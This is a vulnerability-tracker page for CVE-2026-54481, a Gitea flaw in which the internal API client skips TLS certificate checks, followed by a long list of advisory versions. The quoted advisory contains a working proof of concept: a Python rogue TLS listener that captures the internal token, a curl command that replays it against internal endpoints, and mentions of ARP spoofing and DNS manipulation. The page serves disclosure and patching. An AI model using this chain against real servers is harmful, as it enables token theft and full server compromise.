Public mode

No access to your tenant or devices. Every item links to its source. What this means

Sources need attention Customize Public modeDiscuss ChangeIntel on Discord

Internal API HTTP client hardcodes InsecureSkipVerify:true with no config override (CWE-295)

cve-program · severity unknownEUVD CVSS 3.1 7.5 CVSS 3.1 · 134c704f-9b21-4f2e-91b3-4a467353bcc0 · Secondary 7.5 HIGHCVSS_V3 Publisher rating HIGHFixed by code.gitea.io/gitea 1.27.0osv · severity unknownFixed by gitea.dev 1.27.0KEV status unknown

cve-program · CVE-2026-54481

Published

Internal API HTTP client hardcodes InsecureSkipVerify:true with no config override (CWE-295)

Read the publisher's advisory

euvd · EUVD-2026-58137

Published

Internal API HTTP client hardcodes InsecureSkipVerify:true with no config override (CWE-295)

Read the publisher's advisory

nvd · CVE-2026-54481

Published

Internal API HTTP client hardcodes InsecureSkipVerify:true with no config override (CWE-295)

Read the publisher's advisory

osv · GHSA-94v3-77j7-vm48

Published

Summary Gitea's internal API HTTP client (modules/private/internal.go) hardcodes TLSClientConfig.InsecureSkipVerify = true with no configuration override. It is the only outbound TLS client in the codebase that cannot be made to verify its peer's certificate — webhook, migrations, MinIO, LDAP, SMTP, Redis and incoming-mail all expose a secure-by-default SkipVerify toggle, this one does not. When an operator configures internal communication over HTTPS to a non-loopback target (LOCAL_ROOT_URL=https://<host>/ in a split-host / multi-pod topology), the gitea serv / gitea hook subprocess that calls the internal API will accept ANY TLS certificate. An attacker with on-path position on that internal segment can MITM the connection and capture the static high-privilege INTERNAL_TOKEN, which is the sole authentication for every /api/internal/* endpoint (server shutdown/restart, SSH key authorization, git command execution, repo hooks, mail send, runner-token generation). Severity is deployment-dependent: High for split-host HTTPS deployments; Low/Informational for the default single-host / unix-socket / HTTP-loopback deployment, where the call is loopback and not interceptable without local access (which already exposes the token directly). This report is rated for the affected configuration and the underlying defense-in-depth defect. Details Affected component: modules/private/internal.go The internal API transport hardcodes certificate-verification bypass: var internalAPITransport = sync.OnceValue(func() http.RoundTripper { return &http.Transport{ DialContext: dialContextInternalAPI, TLSClientConfig: &tls.Config{ InsecureSkipVerify: true, // hardcoded, no config gate ServerName: setting.Domain, // SNI only; NOT used for validation while skip=true }, } }) Because InsecureSkipVerify is true, ServerName is used only for SNI and any certificate (any CN, self-signed) is accepted; there is no accidental safety net. Verified exploit chain (read against main @ aab9737651, 2026-06-13): 1. TLS path is reached whenever LOCAL_ROOT_URL scheme is https — http.Transport applies TLSClientConfig only for https requests. (modules/private/internal.go:56-64) 2. The dialer connects to the real host from the URL, with no loopback pinning: dialContextInternalAPI -> d.DialContext(ctx, network, address), where address is the host:port from LOCAL_ROOT_URL. (modules/private/internal.go:37-54) 3. The client runs as a SEPARATE process, so a real socket is used and can cross hosts: - Built-in and external SSH both exec "gitea serv key-N" (modules/ssh/ssh.go:109,123; models/asymkey/ssh_key_authorized_keys.go via authorized_keys command=). - Git hooks exec "gitea hook ...". These subprocesses call back to LOCAL_ROOT_URL. Same host => loopback; split host => network hop. 4. INTERNAL_TOKEN is sent on every internal request as a static bearer header: Header("X-Gitea-Internal-Auth", "Bearer "+setting.InternalToken) (modules/private/internal.go:80) 5. A captured token is accepted and is the SOLE gate for all internal routes: authInternal() does subtle.ConstantTimeCompare(header, setting.InternalToken) and nothing else. (routers/private/internal.go:24-42). The server code even comments: "// TODO: use something like JWT or HMAC to avoid passing the token in the clear" (routers/private/internal.go:32) 6. Amplifier: internal routes are mounted on the main public listener, not a loopback-only socket: r.Mount("/api/internal", private.Routes()) (routers/init.go:185) so a stolen token is replayable by anyone who can reach the Gitea HTTP port. Inconsistency / root cause: every other outbound TLS client is configurable and secure-by-default (services/webhook/deliver.go Webhook.SkipTLSVerify; services/migrations/http_client.go Migrations.SkipTLSVerify; modules/storage/minio.go MINIO_INSECURE_SKIP_VERIFY; LDAP/SMTP SkipVerify; incoming-mail SkipTLSVerify). The internal API client alone is hardcoded insecure with no opt-out. The InsecureSkipVerify line has been present since 2017 (#1471), so all releases are affected. PoC Goal: capture the live INTERNAL_TOKEN from a real Gitea subprocess call and replay it. Note: a self-contained TLS test (e.g. Python ssl.CERT_NONE accepting a self-signed cert) only restates the flag's definition and does NOT involve Gitea. The steps below exercise the real path. 1. Configure Gitea so the internal client uses HTTPS to an interceptable target: [server] PROTOCOL = https LOCAL_ROOT_URL = https://127.0.0.1:8443/ 2. Run a rogue TLS listener on 127.0.0.1:8443 presenting ANY self-signed certificate, logging the X-Gitea-Internal-Auth request header. Minimal handler: # python3 rogue.py import http.server, ssl, subprocess subprocess.run(["openssl","req","-x509","-newkey","rsa:2048","-keyout","k.pem","-out","c.pem", "-days","1","-nodes","-subj","/CN=127.0.0.1"], check=True) class H(http.server.BaseHTTPRequestHandler): def handle_one(self): pass def do_GET(self): self._h() def do_POST(self): self._h() def _h(self): a = self.headers.get("X-Gitea-Internal-Auth","") if "Bearer" in a: print("[!] CAPTURED TOKEN:", a.replace("Bearer ","")) self.send_response(200); self.end_headers(); self.wfile.write(b'{"err":"","user_msg":""}') def log_message(self,*a): pass s = http.server.HTTPServer(("127.0.0.1",8443), H) ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER); ctx.load_cert_chain("c.pem","k.pem") s.socket = ctx.wrap_socket(s.socket, server_side=True) s.serve_forever() 3. Trigger a real internal call through a subprocess path: perform an SSH git operation against the instance (e.g. `git clone ssh://git@<host>:<port>/owner/repo.git`). sshd/built-in SSH execs `gitea serv`, which issues the internal API request to LOCAL_ROOT_URL and presents the token to the rogue listener. 4. Observe at the listener: [!] CAPTURED TOKEN: <INTERNAL_TOKEN> 5. Confirm the token is privileged by replaying it directly against the Gitea HTTP port: curl -k https://<gitea-host>:<port>/api/internal/manager/processes \ -H "X-Gitea-Internal-Auth: Bearer <INTERNAL_TOKEN>" A 200 with process data confirms full internal-API access (the same token also reaches /api/internal/manager/shutdown, /ssh/authorized_keys, /serv/command/..., etc.). In a production split-host deployment, step 2 is replaced by on-path interception (ARP spoofing on the shared segment, a malicious sidecar/pod, or DNS/route manipulation) rather than a localhost listener; the client behaviour (trusting the rogue cert and sending the token) is identical. Impact Type: CWE-295 Improper Certificate Validation -> man-in-the-middle -> theft of the static high-privilege INTERNAL_TOKEN -> full internal-API compromise. Who is impacted: operators who run internal communication over HTTPS to a non-loopback target (split-host / multi-pod / separate SSH or hook host with LOCAL_ROOT_URL=https://<remote>/) on a network segment where an attacker can obtain on-path position. With the token, an attacker can: shut down / restart the server (DoS), authorize SSH keys, execute git serv commands, control pre/post/proc-receive hooks, change default branches, restore repos, send mail as Gitea, and generate Actions runner tokens. NOT practically impacted: default single-host, unix-socket (http+unix), or HTTP-loopback deployments, where the internal call is loopback and not interceptable without local code execution (which already exposes INTERNAL_TOKEN from app.ini, making MITM unnecessary).

Read the publisher's advisory

osv · GO-2026-6048

Published

Gitea: Internal API HTTP client hardcodes InsecureSkipVerify:true with no config override in gitea.dev

Read the publisher's advisory

Affected versions, risk and source history

Exploitation and risk

Source status

CISA KEV lists vulnerabilities known to be exploited. FIRST EPSS estimates the likelihood of exploitation in the next 30 days. An unavailable score does not mean zero risk.

Which CVEs have scores here?

This view includes predictions for CVE identifiers explicitly listed in public NuGet advisories. Microsoft release pages have their own prediction coverage. Check source status for the scope and latest checks.

No exploitation or prediction data is available here for these CVEs. This does not mean they are safe or unlikely to be exploited.

Risk history

Compare earlier KEV listings and EPSS scores. Advisory wording and affected versions have a separate history.

When does an EPSS score appear as a change?

A prediction change is reported when EPSS rises from below 10% to 10% or higher. Every daily score change from the last 30 days stays in this history. Before that, it keeps KEV changes and moves between EPSS bands (0.1%, 1%, 5%, 10%, 20%, 50% and 90%).

Advisory history

16 saved versions

See how the publisher's advisory changed over time. Each link opens the version saved at that time. The publisher's update date can differ from the date shown here.

How advisory history works

Each link identifies one complete publisher record. History can include advisories that previously shared an identifier; an identifier removed by a publisher no longer establishes a current relationship. A historical link shows only that record and earlier saved versions. Failed checks and unchanged reads do not create new versions.

19 Nov 2026 16:49:53 UTC

Internal API HTTP client hardcodes InsecureSkipVerify:true with no config override (CWE-295)

euvd · EUVD-2026-58137 · Published

17 Nov 2026 16:32:57 UTC

Internal API HTTP client hardcodes InsecureSkipVerify:true with no config override (CWE-295)

euvd · EUVD-2026-58137 · Published

15 Nov 2026 15:48:47 UTC

Internal API HTTP client hardcodes InsecureSkipVerify:true with no config override (CWE-295)

euvd · EUVD-2026-58137 · Published

13 Nov 2026 15:01:29 UTC

Internal API HTTP client hardcodes InsecureSkipVerify:true with no config override (CWE-295)

euvd · EUVD-2026-58137 · Published

11 Nov 2026 14:00:22 UTC

Internal API HTTP client hardcodes InsecureSkipVerify:true with no config override (CWE-295)

euvd · EUVD-2026-58137 · Published

9 Nov 2026 13:07:28 UTC

Internal API HTTP client hardcodes InsecureSkipVerify:true with no config override (CWE-295)

euvd · EUVD-2026-58137 · Published

7 Nov 2026 12:29:56 UTC

Internal API HTTP client hardcodes InsecureSkipVerify:true with no config override (CWE-295)

euvd · EUVD-2026-58137 · Published

5 Nov 2026 11:42:04 UTC

Internal API HTTP client hardcodes InsecureSkipVerify:true with no config override (CWE-295)

euvd · EUVD-2026-58137 · Published

3 Nov 2026 11:01:37 UTC

Internal API HTTP client hardcodes InsecureSkipVerify:true with no config override (CWE-295)

euvd · EUVD-2026-58137 · Published

1 Nov 2026 10:07:25 UTC

Internal API HTTP client hardcodes InsecureSkipVerify:true with no config override (CWE-295)

euvd · EUVD-2026-58137 · Published

30 Oct 2026 09:51:37 UTC

Internal API HTTP client hardcodes InsecureSkipVerify:true with no config override (CWE-295)

euvd · EUVD-2026-58137 · Published

28 Oct 2026 08:08:39 UTC

Internal API HTTP client hardcodes InsecureSkipVerify:true with no config override (CWE-295)

euvd · EUVD-2026-58137 · Published

25 Oct 2026 13:17:28 UTC

Internal API HTTP client hardcodes InsecureSkipVerify:true with no config override (CWE-295)

nvd · CVE-2026-54481 · Published

24 Oct 2026 13:19:41 UTC

Gitea: Internal API HTTP client hardcodes InsecureSkipVerify:true with no config override

osv · GHSA-94v3-77j7-vm48 · Published

24 Oct 2026 13:19:41 UTC

Gitea: Internal API HTTP client hardcodes InsecureSkipVerify:true with no config override in gitea.dev

osv · GO-2026-6048 · Published

23 Oct 2026 15:48:27 UTC

Internal API HTTP client hardcodes InsecureSkipVerify:true with no config override (CWE-295)

cve-program · CVE-2026-54481 · Published

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 21 Nov 06:40 UTC · 274 of 275 readable · 270 fully read · documentation 469/469 current